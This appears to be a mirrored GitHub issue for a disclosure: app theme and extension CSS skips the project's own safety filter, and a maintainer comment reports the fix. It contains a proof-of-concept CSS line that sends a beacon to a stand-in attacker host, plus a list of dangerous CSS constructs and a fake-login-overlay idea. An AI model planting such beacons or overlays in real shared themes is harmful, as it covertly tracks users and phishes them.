[GH-ISSUE #2944] [Issue]: Shared themes can silently phone home — theme/extension CSS skips the safety filter the code requires #1523

Closed
opened 2026-10-21 05:37:54 +07:00 by bsakaguchi · 1 comment
Owner

Originally created by @kolacheee on GitHub (Jun 28, 2026).
Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2944

Originally assigned to: @SpicyMarinara on GitHub.

What's wrong

Custom themes look harmless — a theme has a CSS field and no JavaScript field, so people treat a shared theme as "just colors and fonts." But the app injects theme CSS into the page completely raw, with no safety filtering. The codebase already ships a CSS safety filter, stripDangerousCss, and its own comment says theme and extension CSS must be run through it — but none of the theme/extension CSS paths actually call it.

So a shared theme can quietly phone home: a single background-image: url("https://attacker/...") makes the victim's browser hit an attacker's server the moment the theme is active (leaking that they use the app, their IP, rough timing — and it can be used as a tracking/exfil beacon). No JavaScript needed.

The same missing-filter gap is in four places, all one root cause:

  • the active-theme injector,
  • the theme editor's Live Preview — the worst one, because it fires as soon as you open a theme to inspect it, before you ever click Save,
  • enabled-extension CSS,
  • the addStyle() helper handed to extension JS.

The important context: character-card CSS (also untrusted, also shared between users) is already run through stripDangerousCss + scoping. Themes and extensions are the exact same threat model — content authored by someone else and shared around (the UI even points users to Discord for them) — they just never got wired through the filter.

How to reproduce (try it yourself)

  1. Make a file evil-theme.css containing:
    body { background-image: url("https://attacker.example/beacon?app=marinara"); }
    
  2. Settings → Themes → New Theme, paste it into the editor. Live Preview is on by default, so you don't even need to Save — just having it in the editor is enough.
  3. Open DevTools → Network and watch.

You'll see: an outbound GET to attacker.example fire immediately (and again on every keystroke while editing, and permanently once you Save — saving auto-activates the theme).
Expected: a cosmetic theme makes no outbound network requests. The existing filter would rewrite the external url() to url(about:invalid), exactly as it already does for card CSS.

Accurate note on the shipped CSP (so this isn't over-claimed): the production server sets a Content-Security-Policy that already blocks the remote @import and remote @font-face variants of this — good. But img-src is 'self' data: blob: https:, so the background-image: url(https://…) beacon above still goes through in production. And in dev mode (pnpm dev, where Vite serves the HTML) there is no CSP at all, so every variant fires — which matters for contributors testing each other's themes.

Secondary, related (not fixed by the filter): the same raw injection lets a theme paint a full-window position: fixed overlay (e.g. a fake login box). stripDangerousCss intentionally allows positioning because legitimate full-app themes need it, so the filter won't stop an overlay — if overlay/clickjacking from themes is a concern, that's a separate design call. The exfiltration above is the clean, filter-fixable part.

Where it is

All four sinks bypass the filter:

  • packages/client/src/components/layout/CustomThemeInjector.tsx:74 — active theme: style.textContent = normalizeThemeCss(activeTheme.css)
  • packages/client/src/components/panels/SettingsPanel.tsx:3359 — live preview: style.textContent = normalizeThemeCss(themeCss) (effect at 3347-3366; fires from openEditTheme at 3375; livePreview defaults true at 3345)
  • CustomThemeInjector.tsx:93 — extension CSS: style.textContent = ext.css
  • CustomThemeInjector.tsx:150-157 — the addStyle() extension API: style.textContent = css

normalizeThemeCss (packages/client/src/lib/theme-css.ts) only de-escapes \n \r \t; it does zero security filtering. The filter that should run, stripDangerousCss, lives at packages/client/src/lib/card-css.ts:322, and the contract is spelled out right there at card-css.ts:311-321 ("…app-level theme and extension CSS … so it must be run through THIS function…"). A repo-wide search shows stripDangerousCss is only ever called from sanitizeChatCss (card CSS), never for themes or extensions.

What's happening

The theme/extension CSS injection paths were written to use the cosmetic normalizeThemeCss (or raw ext.css) instead of the security filter, so external url(), @import, :visited, expression(), etc. all reach a document-level <style> unmodified. The filter exists and already handles all of this for cards — it just isn't called here.

Suggested fix

Wrap each of the four sinks in the existing filter, e.g.:

style.textContent = stripDangerousCss(normalizeThemeCss(activeTheme.css));

Use stripDangerousCss, not sanitizeChatCss/scopeChatCss — those add card-only scoping and neuter position:fixed, which would break legitimate full-app themes. stripDangerousCss keeps theme tokens, !important, and positioning while removing the network/exfiltration constructs (external url(), @import, @namespace, non-data @font-face, :visited, expression(), javascript:/vbscript:, behavior, -moz-binding). A single shared wrapper for all four sites keeps them consistent. Optionally also sanitize server-side in themes.storage.ts on write for defense-in-depth.


AI-investigated against v2.0.6; all cited lines were read and the repro verified. Please confirm before fixing.

Originally created by @kolacheee on GitHub (Jun 28, 2026). Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2944 Originally assigned to: @SpicyMarinara on GitHub. **What's wrong** Custom themes look harmless — a theme has a CSS field and **no** JavaScript field, so people treat a shared theme as "just colors and fonts." But the app injects theme CSS into the page completely raw, with no safety filtering. The codebase already ships a CSS safety filter, `stripDangerousCss`, and its own comment says theme and extension CSS *must* be run through it — but none of the theme/extension CSS paths actually call it. So a shared theme can quietly **phone home**: a single `background-image: url("https://attacker/...")` makes the victim's browser hit an attacker's server the moment the theme is active (leaking that they use the app, their IP, rough timing — and it can be used as a tracking/exfil beacon). No JavaScript needed. The same missing-filter gap is in four places, all one root cause: - the active-theme injector, - the theme editor's **Live Preview** — the worst one, because it fires as soon as you *open a theme to inspect it*, before you ever click Save, - enabled-extension CSS, - the `addStyle()` helper handed to extension JS. The important context: character-card CSS (also untrusted, also shared between users) *is* already run through `stripDangerousCss` + scoping. Themes and extensions are the exact same threat model — content authored by someone else and shared around (the UI even points users to Discord for them) — they just never got wired through the filter. **How to reproduce (try it yourself)** 1. Make a file `evil-theme.css` containing: ``` body { background-image: url("https://attacker.example/beacon?app=marinara"); } ``` 2. Settings → Themes → New Theme, paste it into the editor. Live Preview is on by default, so **you don't even need to Save** — just having it in the editor is enough. 3. Open DevTools → Network and watch. **You'll see:** an outbound GET to `attacker.example` fire immediately (and again on every keystroke while editing, and permanently once you Save — saving auto-activates the theme). **Expected:** a cosmetic theme makes no outbound network requests. The existing filter would rewrite the external `url()` to `url(about:invalid)`, exactly as it already does for card CSS. *Accurate note on the shipped CSP (so this isn't over-claimed):* the production server sets a Content-Security-Policy that already blocks the *remote `@import`* and *remote `@font-face`* variants of this — good. But `img-src` is `'self' data: blob: https:`, so the `background-image: url(https://…)` beacon above still goes through in production. And in dev mode (`pnpm dev`, where Vite serves the HTML) there is **no** CSP at all, so every variant fires — which matters for contributors testing each other's themes. *Secondary, related (not fixed by the filter):* the same raw injection lets a theme paint a full-window `position: fixed` overlay (e.g. a fake login box). `stripDangerousCss` intentionally **allows** positioning because legitimate full-app themes need it, so the filter won't stop an overlay — if overlay/clickjacking from themes is a concern, that's a separate design call. The exfiltration above is the clean, filter-fixable part. **Where it is** All four sinks bypass the filter: - `packages/client/src/components/layout/CustomThemeInjector.tsx:74` — active theme: `style.textContent = normalizeThemeCss(activeTheme.css)` - `packages/client/src/components/panels/SettingsPanel.tsx:3359` — live preview: `style.textContent = normalizeThemeCss(themeCss)` (effect at 3347-3366; fires from `openEditTheme` at 3375; `livePreview` defaults `true` at 3345) - `CustomThemeInjector.tsx:93` — extension CSS: `style.textContent = ext.css` - `CustomThemeInjector.tsx:150-157` — the `addStyle()` extension API: `style.textContent = css` `normalizeThemeCss` (`packages/client/src/lib/theme-css.ts`) only de-escapes `\n \r \t`; it does zero security filtering. The filter that *should* run, `stripDangerousCss`, lives at `packages/client/src/lib/card-css.ts:322`, and the contract is spelled out right there at `card-css.ts:311-321` ("…app-level theme and extension CSS … so it must be run through THIS function…"). A repo-wide search shows `stripDangerousCss` is only ever called from `sanitizeChatCss` (card CSS), never for themes or extensions. **What's happening** The theme/extension CSS injection paths were written to use the cosmetic `normalizeThemeCss` (or raw `ext.css`) instead of the security filter, so external `url()`, `@import`, `:visited`, `expression()`, etc. all reach a document-level `<style>` unmodified. The filter exists and already handles all of this for cards — it just isn't called here. **Suggested fix** Wrap each of the four sinks in the existing filter, e.g.: ``` style.textContent = stripDangerousCss(normalizeThemeCss(activeTheme.css)); ``` Use `stripDangerousCss`, **not** `sanitizeChatCss`/`scopeChatCss` — those add card-only scoping and neuter `position:fixed`, which would break legitimate full-app themes. `stripDangerousCss` keeps theme tokens, `!important`, and positioning while removing the network/exfiltration constructs (external `url()`, `@import`, `@namespace`, non-data `@font-face`, `:visited`, `expression()`, `javascript:`/`vbscript:`, `behavior`, `-moz-binding`). A single shared wrapper for all four sites keeps them consistent. Optionally also sanitize server-side in `themes.storage.ts` on write for defense-in-depth. --- *AI-investigated against v2.0.6; all cited lines were read and the repro verified. Please confirm before fixing.*
Author
Owner

@SpicyMarinara commented on GitHub (Jun 28, 2026):

Fixed on staging: app-level theme/extension CSS sinks now run through the shared dangerous-CSS filter before injection, including active themes, live preview, extension CSS, and extension addStyle().

<!-- gh-comment-id:4827784370 --> @SpicyMarinara commented on GitHub (Jun 28, 2026): Fixed on staging: app-level theme/extension CSS sinks now run through the shared dangerous-CSS filter before injection, including active themes, live preview, extension CSS, and extension `addStyle()`.
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
Pasta-Devs/Marinara-Engine#1523
No description provided.